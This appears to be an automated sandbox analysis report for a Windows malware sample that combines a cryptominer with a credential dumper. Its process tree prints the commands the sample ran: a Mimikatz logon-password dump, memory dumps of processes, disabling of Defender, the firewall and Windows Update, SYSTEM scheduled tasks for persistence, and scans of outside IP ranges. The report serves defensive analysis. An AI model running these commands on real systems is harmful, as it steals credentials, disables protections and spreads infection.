Analysis

  • max time kernel
    120s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/08/2024, 12:33

General

  • Target
    8e065bda3d6123b22bdd0e98724a1480N.exe
  • Size 8.9MB
  • Sample240805-prdrcswcmq
  • SHA256 fd50d4adffef53d86264cf912253da4cd8590855355a63d40e1c4ac91b90a2c2
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Disables service(s) 3 TTPs
  • Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Contacts a large (15345) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • OS Credential Dumping: LSASS Memory 1 TTPs

    Malicious access to Credentials History.

  • XMRig Miner payload 9 IoCs
  • mimikatz is an open source tool to dump credentials on Windows 5 IoCs
  • Drops file in Drivers directory 3 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 25 IoCs
  • Loads dropped DLL 12 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Creates a Windows Service
  • Drops file in System32 directory 18 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 60 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • NSIS installer 3 IoCs
  • Modifies data under HKEY_USERS 39 IoCs
  • Modifies registry class 14 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 15 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 21 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    1⤵
      PID:2172
      • C:\Windows\TEMP\qzebsiybv\bnidgq.exe
        "C:\Windows\TEMP\qzebsiybv\bnidgq.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:4644
    • C:\Users\Admin\AppData\Local\Temp\8e065bda3d6123b22bdd0e98724a1480N.exe
      "C:\Users\Admin\AppData\Local\Temp\8e065bda3d6123b22bdd0e98724a1480N.exe"
      1⤵
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3044
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\znrgncrv\emzriir.exe
        2⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:1640
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 5
          3⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:4772
        • C:\Windows\znrgncrv\emzriir.exe
          C:\Windows\znrgncrv\emzriir.exe
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:2376
    • C:\Windows\znrgncrv\emzriir.exe
      C:\Windows\znrgncrv\emzriir.exe
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Drops file in Drivers directory
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1076
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2092
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:4676
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D users
          3⤵
          • System Location Discovery: System Language Discovery
          PID:804
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:4956
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
          3⤵
          • System Location Discovery: System Language Discovery
          PID:3360
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:3292
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
          3⤵
          • System Location Discovery: System Language Discovery
          PID:1568
      • C:\Windows\SysWOW64\netsh.exe
        netsh ipsec static del all
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Location Discovery: System Language Discovery
        PID:5072
      • C:\Windows\SysWOW64\netsh.exe
        netsh ipsec static add policy name=Bastards description=FuckingBastards
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Location Discovery: System Language Discovery
        PID:2380
      • C:\Windows\SysWOW64\netsh.exe
        netsh ipsec static add filteraction name=BastardsList action=block
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        PID:4652
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c C:\Windows\kgkufnrnc\uhbggiaeb\wpcap.exe /S
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:684
        • C:\Windows\kgkufnrnc\uhbggiaeb\wpcap.exe
          C:\Windows\kgkufnrnc\uhbggiaeb\wpcap.exe /S
          3⤵
          • Drops file in Drivers directory
          • Executes dropped EXE
          • Loads dropped DLL
          • Drops file in System32 directory
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2504
          • C:\Windows\SysWOW64\net.exe
            net stop "Boundary Meter"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4680
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop "Boundary Meter"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:1644
          • C:\Windows\SysWOW64\net.exe
            net stop "TrueSight Meter"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2600
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop "TrueSight Meter"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:4736
          • C:\Windows\SysWOW64\net.exe
            net stop npf
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4296
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop npf
              5⤵
              • System Location Discovery: System Language Discovery
              PID:4592
          • C:\Windows\SysWOW64\net.exe
            net start npf
            4⤵
              PID:1036
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 start npf
                5⤵
                • System Location Discovery: System Language Discovery
                PID:2336
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c net start npf
          2⤵
            PID:4008
            • C:\Windows\SysWOW64\net.exe
              net start npf
              3⤵
              • System Location Discovery: System Language Discovery
              PID:5076
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 start npf
                4⤵
                • System Location Discovery: System Language Discovery
                PID:3692
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c net start npf
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1616
            • C:\Windows\SysWOW64\net.exe
              net start npf
              3⤵
                PID:2308
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 start npf
                  4⤵
                  • System Location Discovery: System Language Discovery
                  PID:5040
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c C:\Windows\kgkufnrnc\uhbggiaeb\nnbuyeerm.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\kgkufnrnc\uhbggiaeb\Scant.txt
              2⤵
              • System Location Discovery: System Language Discovery
              PID:3620
              • C:\Windows\kgkufnrnc\uhbggiaeb\nnbuyeerm.exe
                C:\Windows\kgkufnrnc\uhbggiaeb\nnbuyeerm.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\kgkufnrnc\uhbggiaeb\Scant.txt
                3⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:2960
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c C:\Windows\kgkufnrnc\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\kgkufnrnc\Corporate\log.txt
              2⤵
              • Drops file in Windows directory
              PID:824
              • C:\Windows\kgkufnrnc\Corporate\vfshost.exe
                C:\Windows\kgkufnrnc\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
                3⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:468
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bfgicktqy" /ru system /tr "cmd /c C:\Windows\ime\emzriir.exe"
              2⤵
              • System Location Discovery: System Language Discovery
              PID:2948
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                3⤵
                • System Location Discovery: System Language Discovery
                PID:4848
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /sc minute /mo 1 /tn "bfgicktqy" /ru system /tr "cmd /c C:\Windows\ime\emzriir.exe"
                3⤵
                • System Location Discovery: System Language Discovery
                • Scheduled Task/Job: Scheduled Task
                PID:1096
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "knzrvbgag" /ru system /tr "cmd /c echo Y|cacls C:\Windows\znrgncrv\emzriir.exe /p everyone:F"
              2⤵
                PID:5052
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                  3⤵
                  • System Location Discovery: System Language Discovery
                  PID:1568
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /sc minute /mo 1 /tn "knzrvbgag" /ru system /tr "cmd /c echo Y|cacls C:\Windows\znrgncrv\emzriir.exe /p everyone:F"
                  3⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:2064
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "vcpfgnbum" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\qzebsiybv\bnidgq.exe /p everyone:F"
                2⤵
                • System Location Discovery: System Language Discovery
                PID:4784
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                  3⤵
                  • System Location Discovery: System Language Discovery
                  PID:2372
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /sc minute /mo 1 /tn "vcpfgnbum" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\qzebsiybv\bnidgq.exe /p everyone:F"
                  3⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:4628
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                PID:2384
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                PID:2428
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                PID:3260
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static set policy name=Bastards assign=y
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                PID:920
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                PID:4212
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                PID:1928
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                PID:3784
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static set policy name=Bastards assign=y
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                PID:4680
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                PID:1380
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                PID:1508
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                PID:696
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static set policy name=Bastards assign=y
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                PID:2312
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c net stop SharedAccess
                2⤵
                • System Location Discovery: System Language Discovery
                PID:4672
                • C:\Windows\SysWOW64\net.exe
                  net stop SharedAccess
                  3⤵
                  • System Location Discovery: System Language Discovery
                  PID:3968
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop SharedAccess
                    4⤵
                    • System Location Discovery: System Language Discovery
                    PID:3692
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c netsh firewall set opmode mode=disable
                2⤵
                • System Location Discovery: System Language Discovery
                PID:4564
                • C:\Windows\SysWOW64\netsh.exe
                  netsh firewall set opmode mode=disable
                  3⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  • System Location Discovery: System Language Discovery
                  PID:4176
              • C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
                C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 768 C:\Windows\TEMP\kgkufnrnc\768.dmp
                2⤵
                • Executes dropped EXE
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                PID:4660
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c netsh Advfirewall set allprofiles state off
                2⤵
                • System Location Discovery: System Language Discovery
                PID:1312
                • C:\Windows\SysWOW64\netsh.exe
                  netsh Advfirewall set allprofiles state off
                  3⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  • System Location Discovery: System Language Discovery
                  PID:2460
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c net stop MpsSvc
                2⤵
                • System Location Discovery: System Language Discovery
                PID:3464
                • C:\Windows\SysWOW64\net.exe
                  net stop MpsSvc
                  3⤵
                  • System Location Discovery: System Language Discovery
                  PID:4568
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop MpsSvc
                    4⤵
                    • System Location Discovery: System Language Discovery
                    PID:3240
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c net stop WinDefend
                2⤵
                • System Location Discovery: System Language Discovery
                PID:3036
                • C:\Windows\SysWOW64\net.exe
                  net stop WinDefend
                  3⤵
                    PID:1300
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop WinDefend
                      4⤵
                      • System Location Discovery: System Language Discovery
                      PID:4468
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c net stop wuauserv
                  2⤵
                    PID:5004
                    • C:\Windows\SysWOW64\net.exe
                      net stop wuauserv
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:4900
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 stop wuauserv
                        4⤵
                          PID:2788
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c sc config MpsSvc start= disabled
                      2⤵
                        PID:2412
                        • C:\Windows\SysWOW64\sc.exe
                          sc config MpsSvc start= disabled
                          3⤵
                          • Launches sc.exe
                          • System Location Discovery: System Language Discovery
                          PID:3064
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c sc config SharedAccess start= disabled
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:3828
                        • C:\Windows\SysWOW64\sc.exe
                          sc config SharedAccess start= disabled
                          3⤵
                          • Launches sc.exe
                          • System Location Discovery: System Language Discovery
                          PID:4608
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c sc config WinDefend start= disabled
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:4548
                        • C:\Windows\SysWOW64\sc.exe
                          sc config WinDefend start= disabled
                          3⤵
                          • Launches sc.exe
                          PID:3500
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c sc config wuauserv start= disabled
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:4912
                        • C:\Windows\SysWOW64\sc.exe
                          sc config wuauserv start= disabled
                          3⤵
                          • Launches sc.exe
                          • System Location Discovery: System Language Discovery
                          PID:4276
                      • C:\Windows\TEMP\xohudmc.exe
                        C:\Windows\TEMP\xohudmc.exe
                        2⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of SetWindowsHookEx
                        PID:3592
                      • C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
                        C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 64 C:\Windows\TEMP\kgkufnrnc\64.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:856
                      • C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
                        C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 2172 C:\Windows\TEMP\kgkufnrnc\2172.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:732
                      • C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
                        C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 2628 C:\Windows\TEMP\kgkufnrnc\2628.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1132
                      • C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
                        C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 2804 C:\Windows\TEMP\kgkufnrnc\2804.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2636
                      • C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
                        C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 2868 C:\Windows\TEMP\kgkufnrnc\2868.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:696
                      • C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
                        C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 3208 C:\Windows\TEMP\kgkufnrnc\3208.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3692
                      • C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
                        C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 3904 C:\Windows\TEMP\kgkufnrnc\3904.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1788
                      • C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
                        C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 3996 C:\Windows\TEMP\kgkufnrnc\3996.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3444
                      • C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
                        C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 4064 C:\Windows\TEMP\kgkufnrnc\4064.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2680
                      • C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
                        C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 680 C:\Windows\TEMP\kgkufnrnc\680.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1436
                      • C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
                        C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 1944 C:\Windows\TEMP\kgkufnrnc\1944.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4684
                      • C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
                        C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 4012 C:\Windows\TEMP\kgkufnrnc\4012.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3384
                      • C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
                        C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 1884 C:\Windows\TEMP\kgkufnrnc\1884.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2536
                      • C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
                        C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 1356 C:\Windows\TEMP\kgkufnrnc\1356.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2396
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /c C:\Windows\kgkufnrnc\uhbggiaeb\scan.bat
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:4552
                        • C:\Windows\kgkufnrnc\uhbggiaeb\bbqlvcqnq.exe
                          bbqlvcqnq.exe TCP 194.110.0.1 194.110.255.255 445 512 /save
                          3⤵
                          • Executes dropped EXE
                          • Drops file in Windows directory
                          • System Location Discovery: System Language Discovery
                          PID:1896
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                        2⤵
                          PID:5424
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:5484
                          • C:\Windows\SysWOW64\cacls.exe
                            cacls C:\Windows\system32\drivers\etc\hosts /T /D users
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:5556
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                            3⤵
                              PID:5444
                            • C:\Windows\SysWOW64\cacls.exe
                              cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
                              3⤵
                              • System Location Discovery: System Language Discovery
                              PID:5608
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                              3⤵
                              • System Location Discovery: System Language Discovery
                              PID:5948
                            • C:\Windows\SysWOW64\cacls.exe
                              cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                              3⤵
                                PID:5940
                          • C:\Windows\SysWOW64\xchlyg.exe
                            C:\Windows\SysWOW64\xchlyg.exe
                            1⤵
                            • Executes dropped EXE
                            • Suspicious use of SetWindowsHookEx
                            PID:1064
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                            1⤵
                              PID:4268
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                              1⤵
                                PID:2528
                              • C:\Windows\system32\cmd.EXE
                                C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\znrgncrv\emzriir.exe /p everyone:F
                                1⤵
                                  PID:1032
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                    2⤵
                                      PID:1920
                                    • C:\Windows\system32\cacls.exe
                                      cacls C:\Windows\znrgncrv\emzriir.exe /p everyone:F
                                      2⤵
                                        PID:4424
                                    • C:\Windows\system32\cmd.EXE
                                      C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\qzebsiybv\bnidgq.exe /p everyone:F
                                      1⤵
                                        PID:2200
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                          2⤵
                                            PID:4484
                                          • C:\Windows\system32\cacls.exe
                                            cacls C:\Windows\TEMP\qzebsiybv\bnidgq.exe /p everyone:F
                                            2⤵
                                              PID:4960
                                          • C:\Windows\system32\cmd.EXE
                                            C:\Windows\system32\cmd.EXE /c C:\Windows\ime\emzriir.exe
                                            1⤵
                                              PID:1324
                                              • C:\Windows\ime\emzriir.exe
                                                C:\Windows\ime\emzriir.exe
                                                2⤵
                                                • Executes dropped EXE
                                                • Suspicious use of SetWindowsHookEx
                                                PID:2916
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                              1⤵
                                                PID:3268

                                              Network

                                                    MITRE ATT&CK Enterprise v15

                                                    Replay Monitor

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                                                    Downloads

                                                    Packet.dll

                                                    • Path C:\Windows\SysWOW64\Packet.dll
                                                    • Size 95KB
                                                    • SHA256 49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    wpcap.dll

                                                    • Path C:\Windows\SysWOW64\wpcap.dll
                                                    • Size 275KB
                                                    • SHA256 b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    1356.dmp

                                                    • Path C:\Windows\TEMP\kgkufnrnc\1356.dmp
                                                    • Size 7.7MB
                                                    • SHA256 1f917882ea1eb5e835e5280ccacc4fd76410cc0eb30df020c90d81692071c613
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    1884.dmp

                                                    • Path C:\Windows\TEMP\kgkufnrnc\1884.dmp
                                                    • Size 8.6MB
                                                    • SHA256 900d8ccfee038c5ab5a25deb5cb43dbc7f7d4c35e19ecf3e11c49a01d1f00112
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    1944.dmp

